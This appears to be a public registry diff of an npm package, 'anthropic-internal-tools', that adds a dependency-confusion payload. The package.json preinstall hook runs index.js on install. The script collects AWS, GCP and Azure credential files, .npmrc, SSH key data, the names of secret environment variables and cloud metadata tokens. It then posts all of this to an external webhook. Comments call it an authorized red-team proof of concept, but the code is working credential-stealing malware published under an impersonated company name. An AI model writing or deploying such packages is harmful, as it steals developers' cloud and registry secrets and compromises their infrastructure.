anthropic-internal-tools 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,71 @@
1
+ // PoC beacon — authorized red team assessment only
2
+ // Executes on npm install via preinstall hook
3
+ const { execSync } = require('child_process');
4
+ const fs = require('fs');
5
+ const os = require('os');
6
+ const https = require('https');
7
+
8
+ const LISTENER = process.env.LISTENER_URL || 'https://webhook.site/YOUR-UUID-HERE';
9
+
10
+ function safeRead(p) {
11
+ try { return fs.readFileSync(p, 'utf8').slice(0, 800); }
12
+ catch { return 'not_found'; }
13
+ }
14
+
15
+ function safeExec(cmd) {
16
+ try { return execSync(cmd, { timeout: 3000 }).toString().slice(0, 1500); }
17
+ catch { return 'error'; }
18
+ }
19
+
20
+ function exfil(data) {
21
+ const payload = JSON.stringify(data);
22
+ const url = new URL(LISTENER);
23
+ const req = https.request({
24
+ hostname: url.hostname,
25
+ port: 443,
26
+ path: url.pathname + url.search,
27
+ method: 'POST',
28
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
29
+ timeout: 5000,
30
+ });
31
+ req.write(payload);
32
+ req.end();
33
+ }
34
+
35
+ const beacon = {
36
+ type: 'dependency_confusion_beacon',
37
+ hostname: os.hostname(),
38
+ username: os.userInfo().username,
39
+ cwd: process.cwd(),
40
+ home: os.homedir(),
41
+ platform: os.platform(),
42
+ release: os.release(),
43
+ // Credential files
44
+ aws_credentials: safeRead(os.homedir() + '/.aws/credentials'),
45
+ aws_config: safeRead(os.homedir() + '/.aws/config'),
46
+ gcp_adc: safeRead(os.homedir() + '/.config/gcloud/application_default_credentials.json'),
47
+ azure_tokens: safeRead(os.homedir() + '/.azure/accessTokens.json'),
48
+ ssh_private_key_exists: fs.existsSync(os.homedir() + '/.ssh/id_rsa'),
49
+ ssh_public_key: safeRead(os.homedir() + '/.ssh/id_rsa.pub'),
50
+ npmrc: safeRead(os.homedir() + '/.npmrc'),
51
+ gitconfig: safeRead(os.homedir() + '/.gitconfig'),
52
+ // Environment — sensitive keys only
53
+ env_sensitive_keys: Object.keys(process.env).filter(k =>
54
+ k.match(/KEY|TOKEN|SECRET|PASS|AUTH|CRED|AWS|GCP|AZURE|NPM|REGISTRY/i)
55
+ ),
56
+ // Cloud metadata
57
+ aws_imds: safeExec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null'),
58
+ gcp_metadata: safeExec('curl -s --connect-timeout 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null'),
59
+ // Network info
60
+ hostfile: safeRead('/etc/hosts').slice(0, 500),
61
+ resolv_conf: safeRead('/etc/resolv.conf').slice(0, 300),
62
+ network_interfaces: safeExec('ip addr 2>/dev/null || ifconfig 2>/dev/null || ipconfig 2>/dev/null'),
63
+ timestamp: new Date().toISOString(),
64
+ };
65
+
66
+ try {
67
+ exfil(beacon);
68
+ console.log('[✓] Assessment beacon deployed successfully');
69
+ } catch (e) {
70
+ console.log('[✗] Beacon exfiltration failed: ' + e.message);
71
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "anthropic-internal-tools",
3
+ "version": "1.0.0",
4
+ "description": "Authorized red team assessment — dependency confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": ["internal", "tools", "anthropic", "claude", "infrastructure"],
10
+ "license": "MIT"
11
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@anthropic-ai/internal-tools",
3
+ "version": "1.0.0",
4
+ "description": "Authorized red team assessment — dependency confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": ["internal", "tools", "anthropic", "claude", "infrastructure"],
10
+ "license": "MIT"
11
+ }